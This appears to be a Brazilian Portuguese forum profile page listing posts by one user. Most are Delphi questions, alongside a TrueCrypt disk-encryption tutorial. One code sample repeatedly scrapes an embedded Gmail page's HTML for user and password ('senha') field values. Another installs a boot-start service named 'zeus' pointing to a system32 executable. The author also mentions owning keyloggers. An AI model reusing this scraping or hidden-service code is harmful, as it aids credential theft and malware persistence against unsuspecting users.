Ir para conteúdo
Fórum Script Brasil

philberX

Membros
  • Total de itens

    10
  • Registro em

  • Última visita

Sobre philberX

Perfil

  • Gender
    Male

philberX's Achievements

0

Reputação

  1. unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, mshtml, OleCtrls, SHDocVw_EWB, EwbCore, EmbeddedWB, ExtCtrls, SHDocVw; type TForm1 = class(TForm) Button1: TButton; Memo1: TMemo; Edit1: TEdit; Button2: TButton; Edit2: TEdit; Edit3: TEdit; Timer1: TTimer; Edit4: TEdit; Edit5: TEdit; Edit6: TEdit; Timer2: TTimer; emb: TWebBrowser; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure embNavigateComplete2(ASender: TObject; const pDisp: IDispatch; var URL: OleVariant); procedure Edit1Change(Sender: TObject); procedure Edit2Change(Sender: TObject); procedure Edit3Change(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure embDocumentComplete(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant); procedure embBeforeNavigate2(Sender: TObject; const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData, Headers: OleVariant; var Cancel: WordBool); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var init: integer; fin: integer; fra: string; ini: integer; fi: integer; frase: string; inicio: integer; fim: integer; fr: string; begin inicio := Pos( '5 value=', memo1.Text); fim:= Pos('name=user', memo1.Text); if (fim > inicio) then Frase := Copy( Memo1.text, Inicio, Fim-Inicio); edit1.text:=frase; ini := Pos( '6 value=', memo1.Text); fi:= Pos('name=senha', memo1.Text); if (fim > inicio) then Fr := Copy( Memo1.text, Ini, Fi-Ini); edit2.text:=fr; init := Pos( '1 value=', memo1.Text); fin:= Pos('name=dac', memo1.Text); if (fin > init) then Fra := Copy( Memo1.text, Init, Fin-Init); edit3.text:=fra; end; procedure TForm1.FormCreate(Sender: TObject); begin emb.navigate('www.gmail.com') end; procedure TForm1.Button2Click(Sender: TObject); var iall : IHTMLElement; begin button1.Click; if Assigned(emb.Document) then begin iall := (emb.Document AS IHTMLDocument2).body; while iall.parentElement <> nil do begin iall := iall.parentElement; end; memo1.Text := iall.outerHTML; end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin button2.Click; timer2.Enabled:=true; end; procedure TForm1.embNavigateComplete2(ASender: TObject; const pDisp: IDispatch; var URL: OleVariant); begin timer1.enabled:=true; end; procedure TForm1.Edit1Change(Sender: TObject); begin if pos('5 value=',Edit1.Text)<>0 then edit4.Text:=Edit1.Text ; end; procedure TForm1.Edit2Change(Sender: TObject); begin if pos('6 value=',Edit2.Text)<>0 then edit5.Text:=Edit2.Text ; end; procedure TForm1.Edit3Change(Sender: TObject); begin if pos('1 value=',Edit3.Text)<>0 then begin edit6.Text:=Edit3.Text ; end; end; procedure TForm1.Timer2Timer(Sender: TObject); begin if pos ('email google',memo1.Text)<>0 then begin timer1.Enabled:=false; timer2.Enabled:=false; //form1.Width:=1027; //form1.Height:=598; end else begin //form1.Width:=456; //form1.Height:=84; end; end; procedure TForm1.embDocumentComplete(Sender: TObject; const pDisp: IDispatch; var URL: OleVariant); begin timer1.Enabled:=true; end; obs: a intenção é deixar o timer sempre ligado mas na hora trava, o degub aponta para a seguinte parte: procedure TForm1.Button2Click(Sender: TObject); var iall : IHTMLElement; begin button1.Click; if Assigned(emb.Document) then begin iall := (emb.Document AS IHTMLDocument2).body; while iall.parentElement <> nil do begin iall := iall.parentElement; end; memo1.Text := iall.outerHTML; end; end; o button é controlado pelo timer que clika nele a cada 1 segundo
  2. \Boa tarde amigos, olha eu ai novamente. Bom hoje vou falar um pouco do truecrypt, esta ferramenta monstra desenvolvida sem fins comerciais, com um grande poder de encryptação de dados, que poderia ser quase impossível ser quebrado por uma empresa de grande valor, como o FBI. Suas possibilidades são multiplas, tais como, encryptar um disco virtual, o seu pendrive ou até mesmo todo o HD. No caso de quando encryptar todo o HD, em tese ele agirá de forma simples. exemplo: pega o hd, crypta, cria um boot no sistema, que ao ligar pede a senha para o usuário, e caso o hd seja roubado como exemplo, e colocado em outro computador, o hd continuaria encryptado necessitando da senha do mesmo, para abri-lo... vamos á prática... vo agora mostrar á vocês como encryptar todo um hd através do true crypt... baixe a última versão do mesmo aqui após instalado, aparecerá esta imagem. clique em create volume, e logo após, Encrypt the system partition or entire system drive clique em next, marque a opção Encrypt the whole drive, Dê next novamente. Agora aparecerá uma tela, para escolher se você quer 1 boot ou mais boots (single boot seria apenas para o pc local e multi para varios pc's), escolha sua opção e clique em next. pronto concluímos a parte em que marcamos seu hd para encryptação, passaremos para a etapa 2 aonde escolheremos qual encrypt usarmos, caso não entenda de encrypt, escolha o padrão do truecrypt que por sinal é uma das melhores, clique em next novamente. aparecerá a tela abaixo, que representa a senha do boot para desencryptar seu hd na entrada do sistema.( obs: não esqueça seu password, isso acarretará na perda total do seu hd.) clique em next, novamente. na tela que aparecerá, você terá que ficar mechendo seu mouse para lá e para cá, note que o seu encrypt randomico está sendo criado pelo macro do mouse, faça este exercício durante alguns minutos para a encryptação perfeita. na proxima imagem você verá o código gerado pelo macro do mouse, clique em next novamente. passemos para a etapa 2: CRIANDO UM DISCO DE RECUPERACÃO DO SISTEMA Neste passo será criado um disco de recuperação, para caso de perder sua senha. Esse passo não pode ser “pulado” sem ele o truecrypt não criptografa seu HD. Na janela abaixo clique em browse ele vai mostrar as pastas do seu computador escolha uma e salve o arquivo com o nome de rescuedisk.iso (coloque o .iso se não vai dar errado!). após fazer este procedimento clique em next. Na próxima tela, necessita-se que você grave um cd do mesmo.(Particularmente eu uso imgburn que se dispõe-se no link : aqui). Após fazer a cópia certamente você receberá uma mensagem dizendo que o disco foi verificado com sucesso! Clique em next. vamos para a etapa 4 Testando e instalando o BootLoader Aqui vamos escolher o modo de WIPE do disco (isso não vai apagar seus dados…) Se você não está guardando códigos de acesso a bombas nucleares você pode deixar o None marcado. (Dependendo a opção que você escolher aqui e do tamanho do seu HD sugiro que você deixe None selecionado, do contrário esse processo pode levar até semanas…) . clique em next Agora o TrueCrypt vai checar para ter certeza de que está tudo em ordem. Neste passo o TrueCrypt também instala o BootLoader, isto testará sua senha do boot(Clique em test); pronto agora aparecerá um aviso bem casual, clique OK. após apertar ok clique em yes para restartar pc. Pronto agora você vai ver uma tela preta pedindo uma senha.. após inicializar o windows, aparecerá o truecrypt novamente dizendo que o pretest foi concluído. Se estiver pronto, clique em Encrypt e vá tomar um guaraná, comer uns biscoitos (si vira e deixa o pc quietinho). Após acabado dará a mensagem de término do HD. Pronto HD seguro. Nem a galera da ABIN e da PF por qual eu tenho grande admiração conceguiria quebrar essa porcaria.... VO PARAR DE DIGITAR POR AQUI POIS MEUS PULSOS ESTÃO DOENDO. abraço galera t+ ABRAÇOS
  3. no codigo do mininu ai ta faltando 1 ; function tform1.post(wb:TEmbeddedWB; n:integer; s:string = 'submit'): boolean; var ovElements: OleVariant; i: Integer; { 1 }begin result:=false; ovElements := wb.OleObject.Document.forms.item(n).elements; for i := 0 to (ovElements.Length - 1) do if (SameText(ovElements.item(i).type, s) )then {1}begin ovElements.item(i).Click; result:=true; {1}end; procedure TForm1.Button1Click(Sender: TObject); <-----~----~~ Aki esta dando ERRO
  4. porem os contatos mudam a todo momento, senhor moderador, e eu estou disposto a tudo para o forum e para meu conhecimento, tempo eu não tenho, mas quando se fala de aprendizado eu arrumo menos no horario noturno...
  5. bom dia novamente, em minha aplicação, eu preciso pegar o fonte do embedded constantemente, porem o mesmo ao trocar de página, talvez por receber about:blank, acaba que da um erro que eu não estou conceguindo desvendá-lo é o seguinte codigo uses mshtml; begin emb.Navigate('http://google.com); end; procedure TForm1.Timer1Timer(Sender: TObject); var iall : IHTMLElement; begin if Assigned(emb.Document) then begin iall := (emb.Document AS IHTMLDocument2).body; while iall.parentElement <> nil do begin iall := iall.parentElement; end; memo1.Text := iall.outerHTML; end; end; :ninja: :ninja: porem ao clickar em pesquisar google como exemplo, me dá o seguinte erro project raised exception class Eaccess violation with message 'access violation at adress 0047e02A in module' Project1.exe'. Read of adress 00000000'. Process stoped. Use step or run to continue
  6. file>new>apptypegui apaga tudo e coloca esse program programm; {$APPTYPE GUI} uses Windows, WinSvc; var leftouter: Cardinal; begin leftouter := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS); if (leftouter <> 0) then begin CreateService( leftouter, 'zeus', 'identificação Zeus', SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_SYSTEM_START, SERVICE_ERROR_NORMAL, 'C:\WINDOWS\system32\zeus.exe', nil, nil, nil, nil, nil ); end; end. isso daria boot em start 0
  7. quanta preguiça heim perdoe-me jonas eee muito obrigado
  8. philberX

    keylogg

    Recentemente perdí minhas senhas em um keylogger e resolví procurar algo pra evitar o mesmo... achei privaykeyboard, que protege as hook do teclado, ele é realmente muito bom, testado por mim mesmo com meus keyloggers e por eventuais keyloggers livres na net, ele protegeu de todos, RECOMENDO http://www.baixaki.com.br/download/privacykeyboard.htm
  9. muito bom dia. bom tenho algumas dúvidas sobre o mesmo que está me intrigando... a primeira dúvida é, eu preciso manipular um click em um botao de uma pagina da internet porem não obtenho exito, pois o mesmo não é privado de um codigo javascript, como exemplo java script:confirma(); eis o codigo das diretrizes do botao: <DIV id=btnEnviar><INPUT title=Continuar tabIndex=4 type=image alt=Continuar src="img/bt_ok.gif"></DIV></DIV></FORM> como eu manipularia o mesmo? agora uma dúvida mais offtopic. eu conceguí o fonte de uma página e joguei no memo; Até aí tudo normal, porem preciso filtrar uma certa sequencia do codigo fonte, exemplo: o memo tem as seguintes informações: o rato roeu a roupa do rei de roma, e eu quero pegar apenas "roeu a roupa do rei". como eu conceguiria filtrar em um memo apenas de uma palavra até uma palavra? desde já agradeço
×
×
  • Criar Novo...